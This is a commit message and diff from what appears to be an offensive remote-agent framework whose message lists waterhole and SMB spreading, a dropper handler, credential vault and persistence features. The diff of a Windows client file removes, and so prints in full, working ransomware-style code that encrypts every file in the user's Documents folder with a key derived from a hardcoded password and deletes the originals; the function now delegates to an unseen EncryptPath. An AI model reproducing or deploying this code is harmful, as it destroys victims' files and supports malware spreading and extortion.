feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/crypt_windows.go

@@ -3,27 +3,18 @@
 package client
 
 import (
-	"crypto/aes"
-	"crypto/cipher"
-	"crypto/rand"
-	"crypto/sha256"
 	"fmt"
-	"io"
 	"os"
 	"path/filepath"
-	"strings"
 
 	"golang.org/x/sys/windows"
 )
 
-const cryptPassword = "password"
-
 // documentsDir returns the current user's Documents folder path via the
 // Windows SHGetKnownFolderPath API (FOLDERID_Documents).
 func documentsDir() (string, error) {
 	path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
 	if err != nil {
-		// Fall back to USERPROFILE\Documents
 		if up := os.Getenv("USERPROFILE"); up != "" {
 			return filepath.Join(up, "Documents"), nil
 		}
@@ -32,82 +23,11 @@ func documentsDir() (string, error) {
 	return path, nil
 }
 
-// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
-func deriveKey(password string) []byte {
-	sum := sha256.Sum256([]byte(password))
-	return sum[:]
+func defaultCryptDir() (string, error) {
+	return documentsDir()
 }
 
-// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
-// deleting the original. The 12-byte nonce is prepended to the ciphertext.
-func encryptFile(path string, key []byte) error {
-	plaintext, err := os.ReadFile(path)
-	if err != nil {
-		return err
-	}
-
-	block, err := aes.NewCipher(key)
-	if err != nil {
-		return err
-	}
-	gcm, err := cipher.NewGCM(block)
-	if err != nil {
-		return err
-	}
-
-	nonce := make([]byte, gcm.NonceSize())
-	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
-		return err
-	}
-
-	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
-
-	dst := path + ".enc"
-	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
-		return err
-	}
-
-	return os.Remove(path)
-}
-
-// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
-// file (skipping files already ending in ".enc"). Returns a summary string.
+// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file.
 func SysCrypt() string {
-	docsDir, err := documentsDir()
-	if err != nil {
-		return "sys_crypt error: " + err.Error()
-	}
-
-	key := deriveKey(cryptPassword)
-
-	var encrypted, skipped, failed int
-	var errs []string
-
-	err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
-		if walkErr != nil || d.IsDir() {
-			return nil
-		}
-		if strings.HasSuffix(path, ".enc") {
-			skipped++
-			return nil
-		}
-		if err := encryptFile(path, key); err != nil {
-			failed++
-			if len(errs) < 5 {
-				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
-			}
-			return nil
-		}
-		encrypted++
-		return nil
-	})
-	if err != nil {
-		return fmt.Sprintf("sys_crypt walk error: %v", err)
-	}
-
-	summary := fmt.Sprintf("sys_crypt done — encrypted: %d  skipped: %d  failed: %d", encrypted, skipped, failed)
-	if len(errs) > 0 {
-		summary += "\nErrors: " + strings.Join(errs, "; ")
-	}
-	return summary
+	return EncryptPath("", true)
 }